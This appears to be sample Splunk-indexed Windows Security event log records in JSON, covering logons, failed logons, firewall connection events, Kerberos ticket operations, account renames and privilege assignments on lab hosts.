'{"_indextime":"1554145632","linecount":"63","sourcetype":"WinEventLog:Security","_cd":"309:1061724899","_raw":"04/01/2019 07:07:21 PM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4624\\nEventType=0\\nType=Information\\nComputerName=test109.test.com\\nTaskCategory=Logon\\nOpCode=Info\\nRecordNumber=13730612955\\nKeywords=Audit Success\\nMessage=An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tNULL SID\\r\\n\\tAccount Name:\\t\\t-\\r\\n\\tAccount Domain:\\t\\t-\\r\\n\\tLogon ID:\\t\\t0x0\\r\\n\\r\\nLogon Type:\\t\\t\\t3\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\ttest.com\\test106$\\r\\n\\tAccount Name:\\t\\ttest106$\\r\\n\\tAccount Domain:\\t\\ttest.com\\r\\n\\tLogon ID:\\t\\t0x9DE8990DE\\r\\n\\tLogon GUID:\\t\\t{E53069F0-662E-0C65-F889-AA8D8770D56A}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x0\\r\\n\\tProcess Name:\\t\\t-\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\t\\r\\n\\tSource Network Address:\\t100.00.100.1\\r\\n\\tSource Port:\\t\\t39028\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tKerberos\\r\\n\\tAuthentication Package:\\tKerberos\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","_pre_msg":"04/01/2019 07:07:21 PM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4624\\nEventType=0\\nType=Information\\nComputerName=test109.test.com\\nTaskCategory=Logon\\nOpCode=Info\\nRecordNumber=13730612955\\nKeywords=Audit Success","splunk_server":"sc.lab.test.com","source":"WinEventLog:Security","host":"test109","_serial":"5613","_bkt":"wineventlog~309~8C261931-2C10-4450-B82C-39A63512E150","_sourcetype":"WinEventLog:Security","EventCode":"4624","index":"wineventlog","_si":["sc.lab.test.com","wineventlog"],"_time":"1554145641","Message":"An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tNULL SID\\r\\n\\tAccount Name:\\t\\t-\\r\\n\\tAccount Domain:\\t\\t-\\r\\n\\tLogon ID:\\t\\t0x0\\r\\n\\r\\nLogon Type:\\t\\t\\t3\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\ttest.com\\test106$\\r\\n\\tAccount Name:\\t\\ttest106$\\r\\n\\tAccount Domain:\\t\\ttest.com\\r\\n\\tLogon ID:\\t\\t0x9DE8990DE\\r\\n\\tLogon GUID:\\t\\t{E53069F0-662E-0C65-F889-AA8D8770D56A}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x0\\r\\n\\tProcess Name:\\t\\t-\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\t\\r\\n\\tSource Network Address:\\t100.00.100.1\\r\\n\\tSource Port:\\t\\t39028\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tKerberos\\r\\n\\tAuthentication Package:\\tKerberos\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","id":"c54d7f17-8eb8-4d78-a8f7-4b681256e2b3"}',
'{"_raw":"04/03/2019 05:57:33 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4625\\nEventType=0\\nType=Information\\nComputerName=abc.test.com\\nTaskCategory=Logon\\nOpCode=Info\\nRecordNumber=849982687\\nKeywords=Audit Failure\\nMessage=An account failed to log on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tNULL SID\\r\\n\\tAccount Name:\\t\\t-\\r\\n\\tAccount Domain:\\t\\t-\\r\\n\\tLogon ID:\\t\\t0x0\\r\\n\\r\\nLogon Type:\\t\\t\\t3\\r\\n\\r\\nAccount For Which Logon Failed:\\r\\n\\tSecurity ID:\\t\\tNULL SID\\r\\n\\tAccount Name:\\t\\thxyz\\r\\n\\tAccount Domain:\\t\\thxyz-PC1\\r\\n\\r\\nFailure Information:\\r\\n\\tFailure Reason:\\t\\tUnknown user name or bad password.\\r\\n\\tStatus:\\t\\t\\t0xc000006d\\r\\n\\tSub Status:\\t\\t0xc0000064\\r\\n\\r\\nProcess Information:\\r\\n\\tCaller Process ID:\\t0x0\\r\\n\\tCaller Process Name:\\t-\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\thxyz-PC1\\r\\n\\tSource Network Address:\\t10.10.100.20\\r\\n\\tSource Port:\\t\\t53662\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tNtLmSsp \\r\\n\\tAuthentication Package:\\tNTLM\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\\r\\n\\r\\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe Process Information fields indicate which account and process on the system requested the logon.\\r\\n\\r\\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","sourcetype":"WinEventLog:Security","source":"WinEventLog:Security","_si":["sc.lab.test.com","wineventlog"],"_sourcetype":"WinEventLog:Security","Message":"An account failed to log on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tNULL SID\\r\\n\\tAccount Name:\\t\\t-\\r\\n\\tAccount Domain:\\t\\t-\\r\\n\\tLogon ID:\\t\\t0x0\\r\\n\\r\\nLogon Type:\\t\\t\\t3\\r\\n\\r\\nAccount For Which Logon Failed:\\r\\n\\tSecurity ID:\\t\\tNULL SID\\r\\n\\tAccount Name:\\t\\thxyz\\r\\n\\tAccount Domain:\\t\\thxyz-PC1\\r\\n\\r\\nFailure Information:\\r\\n\\tFailure Reason:\\t\\tUnknown user name or bad password.\\r\\n\\tStatus:\\t\\t\\t0xc000006d\\r\\n\\tSub Status:\\t\\t0xc0000064\\r\\n\\r\\nProcess Information:\\r\\n\\tCaller Process ID:\\t0x0\\r\\n\\tCaller Process Name:\\t-\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\thxyz-PC1\\r\\n\\tSource Network Address:\\t10.10.100.20\\r\\n\\tSource Port:\\t\\t53662\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tNtLmSsp \\r\\n\\tAuthentication Package:\\tNTLM\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\\r\\n\\r\\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe Process Information fields indicate which account and process on the system requested the logon.\\r\\n\\r\\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","_bkt":"wineventlog~313~8C261931-2C10-4450-B82C-39A63512E150","EventCode":"4625","_indextime":"1554242244","index":"wineventlog","_time":"1554242253","_pre_msg":"04/03/2019 05:57:33 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4625\\nEventType=0\\nType=Information\\nComputerName=abc.test.com\\nTaskCategory=Logon\\nOpCode=Info\\nRecordNumber=849982687\\nKeywords=Audit Failure","_cd":"313:1467779602","_serial":"16723","splunk_server":"sc.lab.test.com","host":"zjdhcp01","linecount":"61","id":"cf4876f3-716c-415c-994e-84acda054c9c"}',
'{"_pre_msg":"04/03/2019 11:58:59 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=5156\\nEventType=0\\nType=Information\\nComputerName=user234.test.com\\nTaskCategory=Filtering Platform Connection\\nOpCode=Info\\nRecordNumber=241754521\\nKeywords=Audit Success","host":"user234","_raw":"04/03/2019 11:58:59 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=5156\\nEventType=0\\nType=Information\\nComputerName=user234.test.com\\nTaskCategory=Filtering Platform Connection\\nOpCode=Info\\nRecordNumber=241754521\\nKeywords=Audit Success\\nMessage=The Windows Filtering Platform has permitted a connection.\\r\\n\\r\\nApplication Information:\\r\\n\\tProcess ID:\\t\\t4\\r\\n\\tApplication Name:\\tSystem\\r\\n\\r\\nNetwork Information:\\r\\n\\tDirection:\\t\\tInbound\\r\\n\\tSource Address:\\t\\t100.20.100.20\\r\\n\\tSource Port:\\t\\t138\\r\\n\\tDestination Address:\\t100.20.100.30\\r\\n\\tDestination Port:\\t\\t138\\r\\n\\tProtocol:\\t\\t17\\r\\n\\r\\nFilter Information:\\r\\n\\tFilter Run-Time ID:\\t0\\r\\n\\tLayer Name:\\t\\tReceive/Accept\\r\\n\\tLayer Run-Time ID:\\t44","_si":["sc.lab.test.com","wineventlog"],"source":"WinEventLog:Security","sourcetype":"WinEventLog:Security","splunk_server":"sc.lab.test.com","_bkt":"wineventlog~316~8C261931-2C10-4450-B82C-39A63512E150","_sourcetype":"WinEventLog:Security","_indextime":"1554317930","EventCode":"5156","Message":"The Windows Filtering Platform has permitted a connection.\\r\\n\\r\\nApplication Information:\\r\\n\\tProcess ID:\\t\\t4\\r\\n\\tApplication Name:\\tSystem\\r\\n\\r\\nNetwork Information:\\r\\n\\tDirection:\\t\\tInbound\\r\\n\\tSource Address:\\t\\t100.20.100.20\\r\\n\\tSource Port:\\t\\t138\\r\\n\\tDestination Address:\\t100.20.100.30\\r\\n\\tDestination Port:\\t\\t138\\r\\n\\tProtocol:\\t\\t17\\r\\n\\r\\nFilter Information:\\r\\n\\tFilter Run-Time ID:\\t0\\r\\n\\tLayer Name:\\t\\tReceive/Accept\\r\\n\\tLayer Run-Time ID:\\t44","linecount":"29","_serial":"136","_cd":"316:913400766","index":"wineventlog","_time":"1554317939","id":"c3f48bba-90a1-4999-84a6-4da9d964d31d"}',
'{"_pre_msg":"04/03/2019 11:58:59 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=5157\\nEventType=0\\nType=Information\\nComputerName=abc106.test.com\\nTaskCategory=Filtering Platform Connection\\nOpCode=Info\\nRecordNumber=2099763859\\nKeywords=Audit Failure","host":"abc106","_raw":"04/03/2019 11:58:59 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=5157\\nEventType=0\\nType=Information\\nComputerName=abc106.test.com\\nTaskCategory=Filtering Platform Connection\\nOpCode=Info\\nRecordNumber=2099763859\\nKeywords=Audit Failure\\nMessage=The Windows Filtering Platform has blocked a connection.\\r\\n\\r\\nApplication Information:\\r\\n\\tProcess ID:\\t\\t1048\\r\\n\\tApplication Name:\\t\\device\\harddiskvolume1\\windows\\system32\\svchost.exe\\r\\n\\r\\nNetwork Information:\\r\\n\\tDirection:\\t\\tInbound\\r\\n\\tSource Address:\\t\\t100.20.100.30\\r\\n\\tSource Port:\\t\\t137\\r\\n\\tDestination Address:\\t100.20.100.20\\r\\n\\tDestination Port:\\t\\t137\\r\\n\\tProtocol:\\t\\t0\\r\\n\\r\\nFilter Information:\\r\\n\\tFilter Run-Time ID:\\t65595\\r\\n\\tLayer Name:\\t\\tReceive/Accept\\r\\n\\tLayer Run-Time ID:\\t44","_si":["sc.lab.test.com","wineventlog"],"source":"WinEventLog:Security","sourcetype":"WinEventLog:Security","splunk_server":"sc.lab.test.com","_bkt":"wineventlog~316~8C261931-2C10-4450-B82C-39A63512E150","_sourcetype":"WinEventLog:Security","_indextime":"1554317931","EventCode":"5157","Message":"The Windows Filtering Platform has blocked a connection.\\r\\n\\r\\nApplication Information:\\r\\n\\tProcess ID:\\t\\t1048\\r\\n\\tApplication Name:\\t\\device\\harddiskvolume1\\windows\\system32\\svchost.exe\\r\\n\\r\\nNetwork Information:\\r\\n\\tDirection:\\t\\tInbound\\r\\n\\tSource Address:\\t\\t100.20.100.30\\r\\n\\tSource Port:\\t\\t137\\r\\n\\tDestination Address:\\t100.20.100.20\\r\\n\\tDestination Port:\\t\\t137\\r\\n\\tProtocol:\\t\\t0\\r\\n\\r\\nFilter Information:\\r\\n\\tFilter Run-Time ID:\\t65595\\r\\n\\tLayer Name:\\t\\tReceive/Accept\\r\\n\\tLayer Run-Time ID:\\t44","linecount":"29","_serial":"57","_cd":"316:913426654","index":"wineventlog","_time":"1554317939","id":"565beda9-346a-46a3-9f1f-25eab8d3414d"}',
'{"_raw":"04/03/2019 05:57:33 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4798\\nEventType=0\\nType=Information\\nComputerName=abc.test.com\\nTaskCategory=Logon\\nOpCode=Info\\nRecordNumber=849982687\\nKeywords=Audit Failure\\nMessage=A user\'s local group membership was enumerated.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tNULL SID\\r\\n\\tAccount Name:\\t\\t-\\r\\n\\tAccount Domain:\\t\\t-\\r\\n\\tLogon ID:\\t\\t0x0\\r\\n\\r\\nUser:\\r\\n\\tSecurity ID:\\t\\tNULL SID\\r\\n\\tAccount Name:\\t\\thxyz\\r\\n\\tAccount Domain:\\t\\thxyz-PC1\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t0x0\\r\\n\\tProcess Name:\\t-","sourcetype":"WinEventLog:Security","source":"WinEventLog:Security","_si":["sc.lab.test.com","wineventlog"],"_sourcetype":"WinEventLog:Security","Message":"A user\'s local group membership was enumerated.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tNULL SID\\r\\n\\tAccount Name:\\t\\t-\\r\\n\\tAccount Domain:\\t\\t-\\r\\n\\tLogon ID:\\t\\t0x0\\r\\n\\r\\nUser:\\r\\n\\tSecurity ID:\\t\\tNULL SID\\r\\n\\tAccount Name:\\t\\thxyz\\r\\n\\tAccount Domain:\\t\\thxyz-PC1\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t0x0\\r\\n\\tProcess Name:\\t-","_bkt":"wineventlog~313~8C261931-2C10-4450-B82C-39A63512E150","EventCode":"4798","_indextime":"1554242244","index":"wineventlog","_time":"1554242253","_pre_msg":"04/03/2019 05:57:33 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4798\\nEventType=0\\nType=Information\\nComputerName=abc.test.com\\nTaskCategory=Logon\\nOpCode=Info\\nRecordNumber=849982687\\nKeywords=Audit Failure","_cd":"313:1467779602","_serial":"16723","splunk_server":"sc.lab.test.com","host":"zjdhcp01","linecount":"61","id":"cf4876f3-716c-415c-994e-84acda054c9c"}',
'{"EventCode":"4769","_raw":"09/27/2018 04:45:36 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4769\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=Kerberos Service Ticket Operations\\nOpCode=Info\\nRecordNumber=8876865135\\nKeywords=Audit Success\\nMessage=A Kerberos service ticket was requested.\\n\\nAccount Information:\\n\\tAccount Name:\\t\\tuser@localhost.com\\n\\tAccount Domain:\\t\\tlocalhost.com\\n\\tLogon GUID:\\t\\t{1F1D4C09-E154-4898-4EB8-E3A03E130D11}\\n\\nService Information:\\n\\tService Name:\\t\\ttest.localhost.com\\n\\tService ID:\\t\\tNONE_MAPPED\\n\\nNetwork Information:\\n\\tClient Address:\\t\\t::ffff:100.10.100.20\\n\\tClient Port:\\t\\t26061\\n\\nAdditional Information:\\n\\tTicket Options:\\t\\t0x40810000\\n\\tTicket Encryption Type:\\t0x17\\n\\tFailure Code:\\t\\t0x0\\n\\tTransited Services:\\t-\\n\\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\\n\\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\\n\\nTicket options, encryption types, and failure codes are defined in RFC 4120.","id":"cf4876f3-716c-415c-994e-84acda054c9c"}',
'{"EventCode":"4770","_raw":"09/27/2018 05:15:34 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4770\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=Kerberos Service Ticket Operations\\nOpCode=Info\\nRecordNumber=186980567\\nKeywords=Audit Success\\nMessage=A Kerberos service ticket was renewed.\\n\\nAccount Information:\\n\\tAccount Name:\\t\\tTEST@LOCALHOST.COM\\n\\tAccount Domain:\\t\\tLOCALHOST.COM\\n\\nService Information:\\n\\tService Name:\\t\\tuser\\n\\tService ID:\\t\\tLOCALHOST.COM\\user\\n\\nNetwork Information:\\n\\tClient Address:\\t\\t::ffff:10.30.100.130\\n\\tClient Port:\\t\\t62133\\n\\nAdditional Information:\\n\\tTicket Options:\\t\\t0x50800002\\n\\tTicket Encryption Type:\\t0x12\\n\\nTicket options and encryption types are defined in RFC 4120.","id":"052b3a64-f1bd-4884-8e48-30b553bc495a"}',
'{"id":"cf4876f3-716c-415c-994e-84acda054c9c","_sourcetype": "WinEventLog:Security", "linecount": "39", "index": "wineventlog", "_raw": "12/06/2018 06:52:05 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4771\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=Kerberos Authentication Service\\nOpCode=Info\\nRecordNumber=4901782953\\nKeywords=Audit Failure\\nMessage=Kerberos pre-authentication failed.\\r\\n\\r\\nAccount Information:\\r\\n\\tSecurity ID:\\t\\tLOCALHOST.COM\\lab\\r\\n\\tAccount Name:\\t\\tlab\\r\\n\\r\\nService Information:\\r\\n\\tService Name:\\t\\tuser/LOCALHOST.COM\\r\\n\\r\\nNetwork Information:\\r\\n\\tClient Address:\\t\\t100.20.1.70\\r\\n\\tClient Port:\\t\\t60284\\r\\n\\r\\nAdditional Information:\\r\\n\\tTicket Options:\\t\\t0x40800000\\r\\n\\tFailure Code:\\t\\t0x18\\r\\n\\tPre-Authentication Type:\\t2\\r\\n\\r\\nCertificate Information:\\r\\n\\tCertificate Issuer Name:\\t\\t\\r\\n\\tCertificate Serial Number: \\t\\r\\n\\tCertificate Thumbprint:\\t\\t\\r\\n\\r\\nCertificate information is only provided if a certificate was used for pre-authentication.\\r\\n\\r\\nPre-authentication types, ticket options and failure codes are defined in RFC 4120.\\r\\n\\r\\nIf the ticket was malformed or damaged during transit and could not be decrypted, then many fields in this event might not be present.", "EventCode": "4771", "host": "BGDC101", "_indextime": "1544059330", "Message": "Kerberos pre-authentication failed.\\r\\n\\r\\nAccount Information:\\r\\n\\tSecurity ID:\\t\\tLOCALHOST.COM\\lab\\r\\n\\tAccount Name:\\t\\tlab\\r\\n\\r\\nService Information:\\r\\n\\tService Name:\\t\\tuser/LOCALHOST.COM\\r\\n\\r\\nNetwork Information:\\r\\n\\tClient Address:\\t\\t100.20.1.70\\r\\n\\tClient Port:\\t\\t60284\\r\\n\\r\\nAdditional Information:\\r\\n\\tTicket Options:\\t\\t0x40800000\\r\\n\\tFailure Code:\\t\\t0x18\\r\\n\\tPre-Authentication Type:\\t2\\r\\n\\r\\nCertificate Information:\\r\\n\\tCertificate Issuer Name:\\t\\t\\r\\n\\tCertificate Serial Number: \\t\\r\\n\\tCertificate Thumbprint:\\t\\t\\r\\n\\r\\nCertificate information is only provided if a certificate was used for pre-authentication.\\r\\n\\r\\nPre-authentication types, ticket options and failure codes are defined in RFC 4120.\\r\\n\\r\\nIf the ticket was malformed or damaged during transit and could not be decrypted, then many fields in this event might not be present.", "splunk_server": "localhost", "source": "WinEventLog:Security", "_cd": "215:335179321", "_serial": "0", "_bkt": "wineventlog~215~2CDBBBA3-F529-4047-AF8A-F1380407313B", "_time": "1544059325", "_si": ["localhost", "wineventlog"], "sourcetype": "WinEventLog:Security", "_pre_msg": "12/06/2018 06:52:05 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4771\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=Kerberos Authentication Service\\nOpCode=Info\\nRecordNumber=4901782953\\nKeywords=Audit Failure"}',
'{"EventCode":"4781","_raw":"09/27/2018 05:15:34 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4781\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=Kerberos Service Ticket Operations\\nOpCode=Info\\nRecordNumber=186980567\\nKeywords=Audit Success\\nMessage=The name of an account was changed.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tACME\Administrator\\n\\tAccount Name:\\t\\tTEST@LOCALHOST.COM\\n\\tAccount Domain:\\t\\tLOCALHOST.COM\\n\\tLogon ID:\\t\\t0x1f40f\\n\\nTarget Account:\\n\\tSecurity ID:\\t\\tACME\emp-nbonaparte\\n\\tAccount Domain:\\t\\tACME\\n\\tOld Account Name:\\t\\tnbonaparte\\n\\tNew Account Name:\\t\\temp-nbonaparte\\n\\nAdditional Information:\\n\\tPrivileges:\\t\\t-","id":"052b3a64-f1bd-4884-8e48-30b553bc495a"}',
'{"EventCode":"4782","_raw":"09/27/2018 05:15:34 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4782\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=Kerberos Service Ticket Operations\\nOpCode=Info\\nRecordNumber=186980567\\nKeywords=Audit Success\\n\\nSubject:\\n\\tSecurity ID:\\t\\tACME\Administrator\\n\\tAccount Name:\\t\\tTEST@LOCALHOST.COM\\n\\tAccount Domain:\\t\\tLOCALHOST.COM\\n\\tLogon ID:\\t\\t0x1f40f\\n\\nTarget Account:\\n\\tAccount Domain:\\t\\tACME\\n\\tAccount Name:\\t\\tnbonaparte","id":"052b3a64-f1bd-4884-8e48-30b553bc495a"}',
'{"EventCode":"4634","_raw":"09/27/2018 05:15:34 AM\\\nLogName=Security\\\nSourceName=Microsoft Windows security auditing.\\\nEventCode=4634\\\nEventType=0\\\nType=Information\\\nComputerName=test.localhost.com\\\nTaskCategory=Kerberos Service Ticket Operations\\\nOpCode=Info\\\nRecordNumber=186980567\\\nKeywords=Audit Success\\\nMessage=An account was logged off.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tANONYMOUS LOGON\\n\\tAccount Name:\\t\\tAppService\\n\\tAccount Domain:\\t\\tDomain001\\n\\tLogon ID:\\t\\t0x27b9013\\n\\nLogon Type: 3\\n\\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","id":"052b3a64-f1bd-4884-8e48-30b553bc495a"}',
'{"EventCode":"4647","_raw":"09/27/2018 05:15:34 AM\\\nLogName=Security\\\nSourceName=Microsoft Windows security auditing.\\\nEventCode=4647\\\nEventType=0\\\nType=Information\\\nComputerName=test.localhost.com\\\nTaskCategory=Kerberos Service Ticket Operations\\\nOpCode=Info\\\nRecordNumber=186980567\\\nKeywords=Audit Success\\\nMessage=User initiated logoff.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tANONYMOUS LOGON\\n\\tAccount Name:\\t\\tAppService\\n\\tAccount Domain:\\t\\tDomain001\\n\\tLogon ID:\\t\\t0x27b9013\\n\\nThis event is generated when a logoff is initiated but the token reference count is not zero and the logon session cannot be destroyed. No further user-initiated activity can occur. This event can be interpreted as a logoff event.","id":"052b3a64-f1bd-4884-8e48-30b553bc495a"}',
'{"EventCode":"4648","_raw":"09/27/2018 05:15:34 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4648\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=Kerberos Service Ticket Operations\\nOpCode=Info\\nRecordNumber=186980567\\nKeywords=Audit Success\\nMessage==A logon was attempted using explicit credentials.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tWIN-R9H529RIO4Y\Administrator\\n\\tAccount Name:\\t\\tAdministrator\\n\\tAccount Domain:\\t\\tWIN-R9H529RIO4Y\\n\\tLogon ID:\\t\\t0x1ba0e\\n\\tLogon GUID:\\t\\t {00000000-0000-0000-0000-000000000000}\\n\\nAccount Whose Credentials Were Used:\\n\\tAccount Name:\\t\\trsmith@mtg.com\\n\\tAccount Domain:\\t\\tWIN-R9H529RIO4Y\\n\\tLogon GUID:\\t\\t{00000000-0000-0000-0000-000000000000}\\n\\nTarget Server:\\n\\tTarget Server Name:\\t\\tsp01.IceMAIL.com\\n\\tAdditional Information:\\t\\tsp01.IceMAIL.com\\n\\nProcess Information:\\n\\tProcess ID:\\t\\t0x77c\\n\\tProcess Name:\\t\\tC:\\t\\t\Program Files\Internet Explorer\iexplore.exe\\n\\nNetwork Information:\\n\\tNetwork Address:-\\n\\tPort:-","id":\\t\\t"052b3a64-f1bd-4884-8e48-30b553bc495a"}',
'{"EventCode":"4672","_raw":"09/27/2018 10:52:50 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4672\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=Special Logon\\nOpCode=Info\\nRecordNumber=3706115579\\nKeywords=Audit Success\\nMessage=Special privileges assigned to new logon.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tDEV\\tuser\\n\\tAccount Name:\\t\\tuser\\n\\tAccount Domain:\\t\\tDEV\\n\\tLogon ID:\\t\\t0x800A513D\\n\\nPrivileges:\\t\\tSeSecurityPrivilege\\n\\t\\t\\tSeBackupPrivilege\\n\\t\\t\\tSeRestorePrivilege\\n\\t\\t\\tSeTakeOwnershipPrivilege\\n\\t\\t\\tSeDebugPrivilege\\n\\t\\t\\tSeSystemEnvironmentPrivilege\\n\\t\\t\\tSeLoadDriverPrivilege\\n\\t\\t\\tSeImpersonatePrivilege","id":"052b3a64-f1bd-4884-8e48-30b553bc495a"}',
